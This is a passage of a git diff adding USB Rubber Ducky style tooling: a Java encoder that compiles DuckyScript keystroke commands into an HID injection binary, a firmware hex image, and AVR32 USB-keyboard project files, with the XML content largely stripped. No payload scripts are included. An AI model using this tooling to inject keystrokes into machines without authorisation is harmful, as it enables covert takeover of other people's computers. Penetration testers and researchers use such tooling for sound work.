\t\tOutput File\n" + + "\nScript Commands:\n" + + " ALT [END | (ESCAPE | ESC) | F1...F12 | Single Char | SPACE | TAB]\n" + + " BREAK | PAUSE\n" + + " CAPSLOCK\n" + + " CONTROL | CTRL [(BREAK | PAUSE) | F1...F12 | (ESCAPE | ESC) | Single Char]\n" + + " DEFAULT_DELAY | DEFAULTDELAY [Time in millisecond * 10]\n" + + " DELAY [Time in millisecond * 10]\n" + + " DELETE\n" + + " DOWNARROW | DOWN\n" + + " END\n" + + " ESCAPE | ESC\n" + + " F1...F12\n" + + " HOME\n" + + " INSERT\n" + + " LEFTARROW | LEFT\n" + + " MENU | APP\n" + + " NUMLOCK\n" + + " PAGEDOWN\n" + + " PAGEUP\n" + + " PRINTSCREEN\n" + + " REM\n" + + " RIGHTARROW | RIGHT\n" + + " SCROLLLOCK\n" + + " SHIFT [ DELETE | HOME | INSERT | PAGEUP | PAGEDOWN | (WINDOWS | GUI)\n" + + " | (UPARROW | DOWNARROW |LEFTARROW | RIGHTARROW) | TAB]\n" + + " SPACE\n" + + " STRING [a...z A...Z 0..9 !...) `~ += _- \"\' :; <, >. ?/ \\|]\n" + + " TAB\n" + " UPARROW | UP\n" + " WINDOWS | GUI\n"; + + String inputFile = null; + String outputFile = null; + + if (args.length == 0) { + System.out.println(helpStr); + System.exit(0); + } + + for (int i = 0; i < args.length; i++) { + if (args[i].equals("--gui") || args[i].equals("-g")) { + System.out.println("Launch GUI"); + } else if (args[i].equals("--help") || args[i].equals("-h")) { + System.out.println(helpStr); + } else if (args[i].equals("-i")) { + // encode file + inputFile = args[++i]; + } else if (args[i].equals("-o")) { + // output file + outputFile = args[++i]; + } else { + System.out.println(helpStr); + break; + } + } + + if (inputFile != null) { + String scriptStr = null; + + if (inputFile.contains(".rtf")) { + try { + FileInputStream stream = new FileInputStream(inputFile); + RTFEditorKit kit = new RTFEditorKit(); + Document doc = kit.createDefaultDocument(); + kit.read(stream, doc, 0); + + scriptStr = doc.getText(0, doc.getLength()); + } catch (IOException e) { + System.out.println("Error with input file!"); + } catch (BadLocationException e) { + System.out.println("Error with input file!"); + } + } else { + DataInputStream in = null; + try { + File f = new File(inputFile); + byte[] buffer = new byte[(int) f.length()]; + in = new DataInputStream(new FileInputStream(f)); + in.readFully(buffer); + scriptStr = new String(buffer); + + } catch (IOException e) { + System.out.println("Error with input file!"); + } finally { + try { + in.close(); + } catch (IOException e) { /* ignore it */ + } + } + } + + encodeToFile(scriptStr, (outputFile == null) ? "inject.bin" + : outputFile); + } + } + + private static void encodeToFile(String inStr, String fileDest) { + inStr = inStr.replaceAll("\\r", ""); // CRLF Fix + String[] instructions = inStr.split("\n"); + List file = new ArrayList(); + int defaultDelay = 0; + + for (int i = 0; i < instructions.length; i++) { + try { + boolean delayOverride = false; + String commentCheck = instructions[i].substring(0, 2); + if (commentCheck.equals("//")) + continue; + + String instruction[] = instructions[i].split(" ", 2); + + instruction[0].trim(); + + if (instruction.length == 2) { + instruction[1].trim(); + } + + if (instruction[0].equals("DEFAULT_DELAY") + || instruction[0].equals("DEFAULTDELAY")) { + defaultDelay = (byte) Integer.parseInt(instruction[1] + .trim()); + } else if (instruction[0].equals("DELAY")) { + int delay = Integer.parseInt(instruction[1].trim()); + while (delay > 0) { + file.add((byte) 0x00); + if (delay > 255) { + file.add((byte) 0xFF); + delay = delay - 255; + } else { + file.add((byte) delay); + delay = 0; + } + } + delayOverride = true; + } else if (instruction[0].equals("STRING")) { + for (int j = 0; j < instruction[1].length(); j++) { + char c = instruction[1].charAt(j); + file.add(charToByte(c)); + + // Auto shift + byte shiftByte = 0x00; + if ((int) c >= 65 && (int) c <= 90) { + // switch capital letters + shiftByte = 0x02; + } else { + switch (c) { + case '~': + case '!': + case '@': + case '#': + case '$': + case '%': + case '^': + case '&': + case '*': + case '(': + case ')': + case '_': + case '+': + case '}': + case '{': + case '|': + case '"': + case ':': + case '?': + case '>': + case '<': + // shift + shiftByte = 0x02; + break; + } + } + file.add(shiftByte); + } + } else if (instruction[0].equals("CONTROL") + || instruction[0].equals("CTRL")) { + if (instruction[1].equals("ESCAPE") + || instruction[1].equals("ESC")) + file.add((byte) 0x29); + else if (instruction[1].equals("PAUSE") + || instruction[1].equals("BREAK")) + file.add((byte) 0x48); + else if (instruction.length != 1) + if (functionKeyCheck(instruction[1])) + file.add(functionKeyToByte(instruction[1])); + else + file.add(charToByte(instruction[1].charAt(0))); + else + file.add((byte) 0x00); + file.add((byte) 0x01); + } else if (instruction[0].equals("ALT")) { + if (instruction.length != 1) { + if (instruction[1].equals("ESCAPE") + || instruction[1].equals("ESC")) + file.add((byte) 0x29); + else if (instruction[1].equals("SPACE")) + file.add((byte) 0x2C); + else if (instruction[1].equals("TAB")) + file.add((byte) 0x2B); + else if (instruction.length != 1) + if (functionKeyCheck(instruction[1])) + file.add(functionKeyToByte(instruction[1])); + else + file.add(charToByte(instruction[1].charAt(0))); + else + file.add((byte) 0x00); + } else { + file.add((byte) 0x00); + } + file.add((byte) 0xE2); + + } else if (instruction[0].equals("ENTER")) { + file.add((byte) 0x28); + file.add((byte) 0x00); + } else if (instruction[0].equals("SHIFT")) { + if (instruction.length != 1) { + if (instruction[1].equals("HOME")) { + file.add((byte) 0x4A); + } else if (instruction[1].equals("TAB")) { + file.add((byte) 0x2B); + } else if (instruction[1].equals("WINDOWS") + || instruction[1].equals("GUI")) { + file.add((byte) 0xE3); + } else if (instruction[1].equals("INSERT")) { + file.add((byte) 0x49); + } else if (instruction[1].equals("PAGEUP")) { + file.add((byte) 0x4B); + } else if (instruction[1].equals("PAGEDOWN")) { + file.add((byte) 0x4E); + } else if (instruction[1].equals("DELETE")) { + file.add((byte) 0x4C); + } else if (instruction[1].equals("END")) { + file.add((byte) 0x4D); + } else if (instruction[1].equals("UPARROW")) { + file.add((byte) 0x52); + } else if (instruction[1].equals("DOWNARROW")) { + file.add((byte) 0x51); + } else if (instruction[1].equals("LEFTARROW")) { + file.add((byte) 0x50); + } else if (instruction[1].equals("RIGHTARROW")) { + file.add((byte) 0x4F); + } + file.add((byte) 0xE1); + } else { + file.add((byte) 0xE1); + file.add((byte) 0x00); + } + } else if (instruction[0].equals("REM")) { + continue; + } else if (instruction[0].equals("MENU") + || instruction[0].equals("APP")) { + file.add((byte) 0x65); + file.add((byte) 0x00); + } else if (instruction[0].equals("TAB")) { + file.add((byte) 0x2B); + file.add((byte) 0x00); + } else if (instruction[0].equals("SPACE")) { + file.add((byte) 0x2C); + file.add((byte) 0x00); + } else if (instruction[0].equals("WINDOWS") + || instruction[0].equals("GUI")) { + if (instruction.length == 1) { + file.add((byte) 0xE3); + file.add((byte) 0x00); + } else { + file.add(charToByte(instruction[1].charAt(0))); + file.add((byte) 0x08); + } + } else if (instruction[0].equals("SYSTEMPOWER")) { + file.add((byte) 0x81); + file.add((byte) 0x00); + } else if (instruction[0].equals("SYSTEMSLEEP")) { + file.add((byte) 0x82); + file.add((byte) 0x00); + } else if (instruction[0].equals("SYSTEMWAKE")) { + file.add((byte) 0x83); + file.add((byte) 0x00); + } else if (instruction[0].equals("ESCAPE") + || instruction[0].equals("ESC")) { + file.add((byte) 0x29); + file.add((byte) 0x00); + } else if (instruction[0].equals("CAPSLOCK")) { + file.add((byte) 0x39); + file.add((byte) 0x00); + } else if (instruction[0].equals("PRINTSCREEN")) { + file.add((byte) 0x46); + file.add((byte) 0x00); + } else if (instruction[0].equals("SCROLLLOCK")) { + file.add((byte) 0x47); + file.add((byte) 0x00); + } else if (instruction[0].equals("BREAK") + || instruction[0].equals("PAUSE")) { + file.add((byte) 0x48); + file.add((byte) 0x00); + } else if (instruction[0].equals("INSERT")) { + file.add((byte) 0x49); + file.add((byte) 0x00); + } else if (instruction[0].equals("HOME")) { + file.add((byte) 0x4A); + file.add((byte) 0x00); + } else if (instruction[0].equals("END")) { + file.add((byte) 0x4D); + file.add((byte) 0x00); + } else if (instruction[0].equals("PAGEUP")) { + file.add((byte) 0x4B); + file.add((byte) 0x00); + } else if (instruction[0].equals("DELETE")) { + file.add((byte) 0x4C); + file.add((byte) 0x00); + } else if (instruction[0].equals("PAGEDOWN")) { + file.add((byte) 0x4E); + file.add((byte) 0x00); + } else if (instruction[0].equals("RIGHTARROW") + || instruction[0].equals("RIGHT")) { + file.add((byte) 0x4F); + file.add((byte) 0x00); + } else if (instruction[0].equals("LEFTARROW") + || instruction[0].equals("LEFT")) { + file.add((byte) 0x50); + file.add((byte) 0x00); + } else if (instruction[0].equals("DOWNARROW") + || instruction[0].equals("DOWN")) { + file.add((byte) 0x51); + file.add((byte) 0x00); + } else if (instruction[0].equals("UPARROW") + || instruction[0].equals("UP")) { + file.add((byte) 0x52); + file.add((byte) 0x00); + } else if (instruction[0].equals("NUMLOCK")) { + file.add((byte) 0x53); + file.add((byte) 0x00); + } else if (instruction[0].equals("STOP")) { + file.add((byte) 0xb5); + file.add((byte) 0x00); + } else if (instruction[0].equals("PLAY") + || instruction[0].equals("PAUSE")) { + file.add((byte) 0xCD); + file.add((byte) 0x00); + } else if (instruction[0].equals("MUTE")) { + file.add((byte) 0xE2); + file.add((byte) 0x00); + } else if (instruction[0].equals("VOLUMEUP")) { + file.add((byte) 0xE9); + file.add((byte) 0x00); + } else if (instruction[0].equals("VOLUMEDOWN")) { + file.add((byte) 0xEA); + file.add((byte) 0x00); + } else if (functionKeyCheck(instruction[0])) { + // Function keys + file.add(functionKeyToByte(instruction[0])); + file.add((byte) 0x00); + } else { + // System.out.print(instruction[0]); + throw new Exception(); + } + + // Default delay + if (!delayOverride & defaultDelay != 0x00) { + while (defaultDelay > 0) { + file.add((byte) 0x00); + if (defaultDelay > 255) { + file.add((byte) 0xFF); + defaultDelay = defaultDelay - 255; + } else { + file.add((byte) defaultDelay); + defaultDelay = 0; + } + } + } + } catch (Exception e) { + System.out.println("Error on Line: " + (i + 1)); + // e.printStackTrace(); + } + } + + // Write byte array to file + byte[] data = new byte[file.size()]; + for (int i = 0; i < file.size(); i++) { + data[i] = file.get(i); + } + try { + File someFile = new File(fileDest); + FileOutputStream fos = new FileOutputStream(someFile); + fos.write(data); + fos.flush(); + fos.close(); + } catch (Exception e) { + System.out.print("Failed to write hex file!"); + } + } + + private static byte charToByte(char c) { + // System.out.println(c); + if ((int) c >= 97 && (int) c <= 122) + // lower case letters + return (byte) (c - 0x5D); + else if ((int) c >= 65 && (int) c <= 90) + // upper case letters + return (byte) (c - 0x3D); + else if ((int) c >= 49 && (int) c <= 57) + // 0 to 9 + return (byte) (c - 0x13); + else + switch (c) { + case ' ': + return 0x2C; + case '!': + return 0x1e; + case '@': + return 0x1f; + case '#': + return 0x20; + case '$': + return 0x21; + case '%': + return 0x22; + case '^': + return 0x23; + case '&': + return 0x24; + case '*': + return 0x25; + case '(': + return 0x26; + case ')': + case '0': + return 0x27; + case '-': + case '_': + return 0x2D; + case '=': + case '+': + return 0x2E; + case '[': + case '{': + return 0x2F; + case ']': + case '}': + return 0x30; + case '\\': + case '|': + return 0x31; + case ':': + case ';': + return 0x33; + case '\'': + case '"': + return 0x34; + case '`': + case '~': + return 0x35; + case ',': + case '<': + return 0x36; + case '.': + case '>': + return 0x37; + case '/': + case '?': + return 0x38; + } + + return (byte) 0x99; + } + + private static boolean functionKeyCheck(String possibleFKey) { + if (possibleFKey.equals("F1") || possibleFKey.equals("F2") + || possibleFKey.equals("F3") || possibleFKey.equals("F4") + || possibleFKey.equals("F5") || possibleFKey.equals("F6") + || possibleFKey.equals("F7") || possibleFKey.equals("F8") + || possibleFKey.equals("F9") || possibleFKey.equals("F10") + || possibleFKey.equals("F11") || possibleFKey.equals("F12")) { + return true; + } else + return false; + } + + private static byte functionKeyToByte(String fKey) { + if (fKey.equals("F1")) + return (byte) 0x3a; + else if (fKey.equals("F2")) + return (byte) 0x3b; + else if (fKey.equals("F3")) + return (byte) 0x3c; + else if (fKey.equals("F4")) + return (byte) 0x3d; + else if (fKey.equals("F5")) + return (byte) 0x3e; + else if (fKey.equals("F6")) + return (byte) 0x3f; + else if (fKey.equals("F7")) + return (byte) 0x40; + else if (fKey.equals("F8")) + return (byte) 0x41; + else if (fKey.equals("F9")) + return (byte) 0x42; + else if (fKey.equals("F10")) + return (byte) 0x43; + else if (fKey.equals("F11")) + return (byte) 0x44; + else if (fKey.equals("F12")) + return (byte) 0x45; + else + return (byte) 0x99; + } +} \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Images/duck.hex b/Rubber_Duck/HAK/Firmware/Images/duck.hex new file mode 100755 index 0000000..488926e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Images/duck.hex @@ -0,0 +1,1874 @@ +:0200000480007A +:10000000E08F100000000000000000000000000071 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+:105F58004156523332204475636B790000030000C8 +:105F68000000000000000000000000000000000029 +:105F78000000000000000000000000000000000019 +:085F88000000000004030904FD +:040000058000000077 +:00000001FF diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/Framework.config b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/Framework.config new file mode 100755 index 0000000..ba75d13 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/Framework.config @@ -0,0 +1,98 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsln b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsln new file mode 100755 index 0000000..51532b7 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# AvrStudio Solution File, Format Version 11.00 +Project("{54F91283-7BC4-4236-8FF9-10F437C3AD48}") = "duck", "duck.cproj", "{FEE31E0F-40F4-11E0-93CF-000C29A22D21}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|AVR = Debug|AVR + Release|AVR = Release|AVR + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.ActiveCfg = Debug|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.Build.0 = Debug|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.ActiveCfg = Release|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.Build.0 = Release|AVR + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsuo b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsuo new file mode 100755 index 0000000..7f5dc2a Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsuo differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrgccproj b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrgccproj new file mode 100755 index 0000000..f3f41c2 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrgccproj @@ -0,0 +1,567 @@ + + + + 2.0 + 5.0 + fee31e0f-40f4-11e0-93cf-000c29a22d21 + AT32UC3B0256 + uc3b + $(MSBuildProjectName).elf + $(MSBuildProjectDirectory)\$(Configuration) + + $(MSBuildProjectName) + $(MSBuildProjectName) + $(MSBuildProjectName) + Executable + C + com.Atmel.AVRGCC32 + True + + + + + + + BOARD=EVK1101 + + + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/drivers/usart + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/debug + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi + + + Optimize for size (-Os) + -fdata-sections + True + True + -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax + True + True + -T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/drivers/usart + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/debug + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/drivers/usart + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/debug + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + + + True + + + + + + + BOARD=EVK1101 + + + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/drivers/usart + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/debug + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi + + + Optimize (-O1) + -fdata-sections + True + Maximum (-g3) + True + -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax + True + True + -T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/drivers/usart + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/debug + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/drivers/usart + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/debug + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + + + + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + compile + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsln b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsln new file mode 100755 index 0000000..b4b3c40 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# AvrStudio Solution File, Format Version 11.00 +Project("{D1100916-62DA-4D80-A9B4-55A1E7CCEEB3}") = "duck", "duck.avrgccproj", "{FEE31E0F-40F4-11E0-93CF-000C29A22D21}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|AVR = Debug|AVR + Release|AVR = Release|AVR + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.ActiveCfg = Debug|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.Build.0 = Debug|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.ActiveCfg = Release|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.Build.0 = Release|AVR + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsuo b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsuo new file mode 100755 index 0000000..4536ea1 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsuo differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.cproj b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.cproj new file mode 100755 index 0000000..5960908 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.cproj @@ -0,0 +1,649 @@ + + + + 2.0 + 5.1 + fee31e0f-40f4-11e0-93cf-000c29a22d21 + AT32UC3B0256 + uc3b + $(MSBuildProjectDirectory)\$(Configuration) + + $(MSBuildProjectName) + $(MSBuildProjectName) + $(MSBuildProjectName) + Executable + C + com.Atmel.AVRGCC32 + Native + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 2.5.1 + + + duck + .elf + + + + + BOARD=EVK1101 + + + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi + + + Optimize for size (-Os) + -fdata-sections + True + True + -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax + True + + + m + + + True + -T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + + + + + + + duck + .elf + + + + + BOARD=EVK1101 + + + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + ../src/asf/avr32/utils/preprocessor + ../src/asf/common/boards + ../src/asf/common/services/storage/ctrl_access + ../src/asf/common/utils + ../src/config + ../src/asf/avr32/drivers/usbb + ../src/asf/common/services/sleepmgr + ../src/asf/common/services/clock + ../src/asf/common/services/usb + ../src/asf/common/services/usb/udc + ../src/asf/common/services/usb/class/hid + ../src/asf/common/services/usb/class/hid/device/kbd + ../src/asf/common/services/usb/class/hid/device + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi + + + Optimize (-O1) + -fdata-sections + True + Maximum (-g3) + True + -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax + True + + + m + + + True + -T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax + -mrelax + + + ../src + ../src/asf/avr32/boards + ../src/asf/avr32/boards/evk1101 + ../src/asf/avr32/drivers/flashc + ../src/asf/avr32/drivers/gpio + ../src/asf/avr32/drivers/intc + ../src/asf/avr32/drivers/pm + ../src/asf/avr32/drivers/spi + ../src/asf/avr32/services/fs/fat + ../src/asf/avr32/services/fs/fat/fat_example + ../src/asf/avr32/utils + 